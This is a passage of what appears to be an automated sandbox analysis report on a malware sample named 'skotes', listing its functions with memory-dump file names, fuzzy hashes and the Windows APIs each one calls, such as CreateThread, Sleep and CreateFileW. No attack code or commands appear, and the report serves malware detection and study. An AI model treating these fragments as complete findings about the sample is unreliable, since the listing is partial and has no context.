Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b225fcbea61c62b2de7f8c7a2f258841dad85c96c24c842d812997c866c1d0dd
Instruction ID: 790aafee8129f1b67c2ca5b91c1a0528dce4a44f5436243a92c4fff8152d2034
Opcode Fuzzy Hash: b225fcbea61c62b2de7f8c7a2f258841dad85c96c24c842d812997c866c1d0dd
Instruction Fuzzy Hash: 6621FD315055047BEB216B64DD41BDF376ADF41378F100365F924271D2DB725E058661

Function 00046D00 Relevance: 3.0, APIs: 2, Instructions: 14sleepthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_00016C70,00000000,00000000,00000000), ref: 00046D10
Sleep.KERNEL32(00007530), ref: 00046D25

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSleepThread
String ID:
API String ID: 4202482776-0
Opcode ID: 81454f8fe51e512678185374d2fc71c57d5e626c3faf532e0d6044adf4f756b4
Instruction ID: 5de1fef93d619ae1ca98bf7ffa94899d1e23da7e9bc85ac5724ddd844e1162bd
Opcode Fuzzy Hash: 81454f8fe51e512678185374d2fc71c57d5e626c3faf532e0d6044adf4f756b4
Instruction Fuzzy Hash: 1AD04CB5BC5314F6F27117A06C07F6AAA20AB0BF52F255495B79C3F0D095E935004BAE

Function 0006AC53 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 0006AC8D

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: ca1cdae4ff2f4e888e13ad16e87e0285863cf9e5e0c2540543cea80e45914174
Instruction ID: 4767ebc0783dfe2c3a557df14639396bbc6d4cc3e664aba56cf6723c37c37c61
Opcode Fuzzy Hash: ca1cdae4ff2f4e888e13ad16e87e0285863cf9e5e0c2540543cea80e45914174
Instruction Fuzzy Hash: 18111871A0420AAFCB05EF58E9419DA7BF5EF49314F0440A9F809AB251D630EE21CB65

Function 00071775 Relevance: 1.5, APIs: 1, Instructions: 16fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,00071B65,?,?,00000000,?,00071B65,00000000,0000000C), ref: 00071792

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: f46dbf5db9c11ec60e9701b4d4b51c9e7a072bc1e02c29deb70c00107cda7411
Instruction ID: 9ac813d1bf64428a21625f1de4f257c90999787ce7713261e495e09ddcb1b438
Opcode Fuzzy Hash: f46dbf5db9c11ec60e9701b4d4b51c9e7a072bc1e02c29deb70c00107cda7411
Instruction Fuzzy Hash: 68D0923204010DBFDF129E84DD42EDA3BAAFB88714F014110BE5866020C732E832EB94

Function 04FD02DB Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2998932971.0000000004FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4fd0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b30bf1a02455752adc41159d27c60c35a8a12bd7e351ab5acd4053e3d31b7c06
Instruction ID: e01acca467e379342e8c9a59e3612e444481cdad2e42fe31bc2a05cdcaf6448b
Opcode Fuzzy Hash: b30bf1a02455752adc41159d27c60c35a8a12bd7e351ab5acd4053e3d31b7c06
Instruction Fuzzy Hash: 421139EB24C220BE7102C1426B14EF66BAEE6C6734B348937F407D2546EAC91E4E7132

Function 04FD02CD Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2998932971.0000000004FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4fd0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 403d1741975b2ecf19a1ede32d6a0aaedd6f4a90ba742153c349865cfd906408
Instruction ID: 528a3dfd8f395daa0136d11641ff050d94b68a1ccfaf0d9348767e2111b7081b
Opcode Fuzzy Hash: 403d1741975b2ecf19a1ede32d6a0aaedd6f4a90ba742153c349865cfd906408
Instruction Fuzzy Hash: ED113CEB24C2207E7102C5422B14EF667AEE6C6734B348537F407D2546EAC91E4E7131

Function 04FD0308 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2998932971.0000000004FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4fd0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fa89ea96f3c124ff04270c5e051f53cad95b5e5f5657e383656849466793ef2
Instruction ID: ee15564fb4a731cc7b3d39c92dcec6d17e269df29788fabb5ab2315b49b5ad87
Opcode Fuzzy Hash: 4fa89ea96f3c124ff04270c5e051f53cad95b5e5f5657e383656849466793ef2
Instruction Fuzzy Hash: F80139EB248210BE710282467B24AFB67ADE6C6734B348977F407D2542E6991A4E7131

Function 04FD03B4 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2998932971.0000000004FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4fd0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08bfc2e7ad432f24f8fe62c5af7dbe9b2776f79a8c377ed92267989909341545
Instruction ID: 332eb4d7b3436a63e81475044b3d5d04e081bb68619f392d86ea56f0722cf4cc
Opcode Fuzzy Hash: 08bfc2e7ad432f24f8fe62c5af7dbe9b2776f79a8c377ed92267989909341545
Instruction Fuzzy Hash: 600161DB24C2617E710285462B14AF76B6EE6C6738B38C97BF447C6442EA892A4F7131

Function 04FD0380 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2998932971.0000000004FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4fd0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2bc2f57285b1224f5a5cd8c315560e4d8b14d05bd9fa642d125f4e8a4f8ddc5f
Instruction ID: 79f0e372a789364de643bad1707e2024f5dc85851358c6f39cfdbbb344265d35
Opcode Fuzzy Hash: 2bc2f57285b1224f5a5cd8c315560e4d8b14d05bd9fa642d125f4e8a4f8ddc5f
Instruction Fuzzy Hash: FF011EEB24C1107E7102C1467B24EFA676EE6C6734B38C93BF447C2546EA991A4E7131

Function 04FD0347 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2998932971.0000000004FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4fd0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e69f276042825bfd126442f48c11ef91a56ab842c2c71a58455f8b44f515de9c
Instruction ID: eecf03d3366e8a433f8241ea0d1bb037420738a6ac7c0ca5d6ff47cf567f1ab1
Opcode Fuzzy Hash: e69f276042825bfd126442f48c11ef91a56ab842c2c71a58455f8b44f515de9c
Instruction Fuzzy Hash: 66F08CE7208220BF710281023B28AFA676EE6C6635738C57BF403C6546EA8A1A4B6031

Function 04FD0339 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2998932971.0000000004FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4fd0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe177fa02eefcbb8e89ac626a932e4b14d4266a0dce32bdd3dc80decf7cca036
Instruction ID: 54e3c1b8b93d105c076febac5a9bdfffc2914c68d0ca7641308d2375e1a150aa
Opcode Fuzzy Hash: fe177fa02eefcbb8e89ac626a932e4b14d4266a0dce32bdd3dc80decf7cca036
Instruction Fuzzy Hash: 7CF01DE720C220BF710285463B14AFA676ED6C67347388977F447C6545EA991A4A7131

Function 04FD0360 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2998932971.0000000004FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4fd0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e4a24b16ddf60209d6c8da80ceaa1d725f70e31d9b91797504b48f8b22401ef
Instruction ID: 57dc12e19bbdeb8e8e41e034d2e6dd78871227ee2672287d663c749b986a06be
Opcode Fuzzy Hash: 9e4a24b16ddf60209d6c8da80ceaa1d725f70e31d9b91797504b48f8b22401ef
Instruction Fuzzy Hash: 7FF0A2EB24C1117E714281463F24EF7576ED6C6735734C57BF403C5545EA8A1A4E7131

Function 04FD0373 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2998932971.0000000004FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4fd0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 538279f6df0708f70a6c06e023d1d71d376baad3b1f363b69ec595f31a4c7424
Instruction ID: 924cd4163841d4159938b7dd7881b3a165ca13e487fb2f6acb294b50ba71a03c
Opcode Fuzzy Hash: 538279f6df0708f70a6c06e023d1d71d376baad3b1f363b69ec595f31a4c7424
Instruction Fuzzy Hash: DAF0C9EB24C2207E7101C1427F14EFB576ED6C6735735CA2BF803C544AEA8A1A8E3132

Non-executed Functions

Function 00050E13 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00050F16
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00050F62

Part of subcall function 0005265D: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 00052750

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00050FCE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00050FEA
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 0005103E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 0005106B
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 000510C1

Strings

(, xrefs: 00050F22

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
